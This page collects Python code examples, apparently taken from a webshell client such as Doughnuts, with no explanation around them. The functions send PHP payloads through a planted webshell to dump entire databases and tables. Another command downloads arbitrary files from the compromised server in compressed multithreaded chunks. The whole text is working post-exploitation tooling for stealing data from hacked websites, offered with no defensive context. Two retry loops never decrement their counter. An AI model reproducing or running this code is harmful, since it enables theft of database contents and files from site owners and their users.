Esempio n. 1
0
def run(database: str = "",
        table: str = "",
        local_path: str = "",
        encoding: str = "utf8"):
    """
    db_dump

    Dump a database or a table to a file, Default file name is {database}.sql.

    eg: db_dump {database=current_database} {local_path=doughnuts/target/site.com/{database}.sql} {encoding="utf-8"}
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    database = database if database else gget("db_dbname", "webshell")
    download_path = local_path or gget("webshell.download_path", "webshell")
    if not path.exists(download_path):
        makedirs(download_path)
    file_name = f"{database}.sql" if (not table) else f"{database}.{table}.sql"
    res = send(get_php(database, table, encoding))
    if (not res):
        return
    text = res.r_text.strip()
    content = res.r_content.strip()
    if (len(text) > 0 and res.status_code == 200):
        file_path = path.join(download_path, file_name).replace("\\", "/")
        with open(file_path, "wb") as f:
            f.write(gzinflate(b64decode(content)))
        print("\n" + color.green(f"Dump {database} to {file_name} success") +
              "\n")
    elif ("Error" in res.r_text):
        print("\n" + color.red(res.r_text.strip()) + "\n")
    else:
        print(color.red("\nError\n"))
Esempio n. 2
0
def get_data(database, table, encoding, offset, blocksize):
    connect_type = gget("db_connect_type", "webshell")
    if (connect_type == "pdo"):
        php = """%s
    if(!$con){
        die("Error : connect to sql failed...");
    }
    $table_name="%s";
    $offset=%s;
    $size=%s;
    $content = "";
    $table_records = $con->query("select * from $table_name limit $offset,$size;");
    while($record = $table_records->fetch(PDO::FETCH_ASSOC)){
    $vals = "'".join("','",array_map('addslashes',array_values($record)))."'";
    $content .= "insert into `$table_name` values($vals);\\r\\n";
    }
    echo base64_encode(gzdeflate($content));
    """ % (get_db_connect_code(dbname=database), table, offset, blocksize)
    elif (connect_type == "mysqli"):
        php = """%s
    if(!$con){
        die("Error : connect to sql failed...");
    }
    $table_name="%s";
    $offset=%s;
    $size=%s;
    $content = "";
    $table_records = $con->query("select * from $table_name limit $offset,$size;");
    while($record = mysqli_fetch_assoc($table_records)){
    $vals = "'".join("','",array_map('mysql_real_escape_string',array_values($record)))."'";
    $content .= "insert into `$table_name` values($vals);\\r\\n";
    }
    echo base64_encode(gzdeflate($content));
    """ % (get_db_connect_code(dbname=database), table, offset, blocksize)
    else:
        php = ""
    retry_time = 5
    text = None
    while retry_time and not text:
        res = send(php)
        try:
            text = gzinflate(b64decode(res.r_content.strip()))
        except Exception:
            text = None
    return text if text else ""
Esempio n. 3
0
def get_table_construct(database, table, encoding):
    connect_type = gget("db_connect_type", "webshell")
    if (connect_type == "pdo"):
        php = """%s
    if(!$con){
        die("Error : connect to sql failed...");
    }
    $table_name="%s";
    $table_created_data = $con->query("show create table `$table_name`");
    $table_created_data_array = $table_created_data->fetch(PDO::FETCH_BOTH);
    $struct=str_replace("NOT NULL", "", $table_created_data_array['Create Table']);
    $content .= "DROP TABLE IF EXISTS `$table_name`;\\r\\n".$struct.";\\r\\n\\r\\n";
    echo base64_encode(gzdeflate($content));
    """ % (get_db_connect_code(dbname=database), table)
    elif (connect_type == "mysqli"):
        php = """%s
    if(!$con){
        die("Error : connect to sql failed...");
    }
    $table_name="%s";
    $table_created_data = mysqli_query($con,"show create table `$table_name`");
    $table_created_data_array = mysqli_fetch_array($table_created_data);
    $struct=str_replace("NOT NULL", "", $table_created_data_array['Create Table']);
    $content .= "DROP TABLE IF EXISTS `$table_name`;\\r\\n".$struct.";\\r\\n\\r\\n";
    echo base64_encode(gzdeflate($content));
    """ % (get_db_connect_code(dbname=database), table)
    else:
        php = ""
    retry_time = 5
    text = None
    while retry_time and not text:
        res = send(php)
        try:
            text = gzinflate(b64decode(res.r_content.strip()))
        except Exception:
            text = None
    return text if text else ""
Esempio n. 4
0
def run(web_file_path: str,
        local_path: str = "",
        humansize: str = "1MB",
        threads: int = 5) -> bool:
    """
    mdownload

    Download file from target system by block compression and multi threads.

    eg: mdownload {web_file_path} {local_path=doughnuts/target/site.com/...} {humansize="1MB",eg="10MB"} {threads=5}
    """
    global LOCK, DOWNLOAD_SUCCESS
    res = send(get_filesize_php(web_file_path))
    if (not res):
        return
    try:
        file_size = int(res.r_text.strip())
    except ValueError:
        file_size = 0
    try:
        blocksize = human_to_size(humansize)
    except Exception:
        blocksize = file_size // 10
        print(
            color.yellow(
                f"[Warn] Parse humansize error, set it to {size_to_human(blocksize)}"
            ))
    if (blocksize < file_size / 1000):
        blocksize = file_size // 100
        print(
            color.yellow(
                f"[Warn] Humansize too small, set it to {size_to_human(blocksize)}"
            ))
    file_human_size = color.green(size_to_human(file_size))
    if (file_size):
        download_path = local_path or gget("webshell.download_path",
                                           "webshell")
        file_path = path.join(download_path,
                              path.split(web_file_path)[1]).replace("\\", "/")
        content_length = 0
        chunk_dict = {}
        with ThreadPoolExecutor(max_workers=threads) as tp, tqdm(
                total=file_size, desc="Downloading", unit_scale=True) as bar:
            all_task = [
                tp.submit(get_data, web_file_path, n, offset, blocksize)
                for n, offset in enumerate(range(0, file_size, blocksize))
            ]
            for future in as_completed(all_task):
                n, chunk = future.result()
                if (chunk):
                    chunk_dict[n] = chunk
                    with LOCK:
                        content_length += blocksize
                        bar.update(blocksize)
                else:
                    DOWNLOAD_SUCCESS = False
                    break
            if (not DOWNLOAD_SUCCESS):
                for task in reversed(all_task):
                    task.cancel()
                bar.close()
                return
        with open(file_path, "wb") as fp, tqdm(total=file_size,
                                               desc="Decompressing",
                                               unit_scale=True) as bar:
            for i in range(len(all_task)):
                content = gzinflate(b64decode(chunk_dict[i]))
                fp.write(content)
                fp.flush()
                bar.update(blocksize)
        print(
            color.green(f"\nDownloaded file has been saved to {file_path}\n"))
    else:
        print(color.red("\nFile not exist / Download error\n"))
        return ''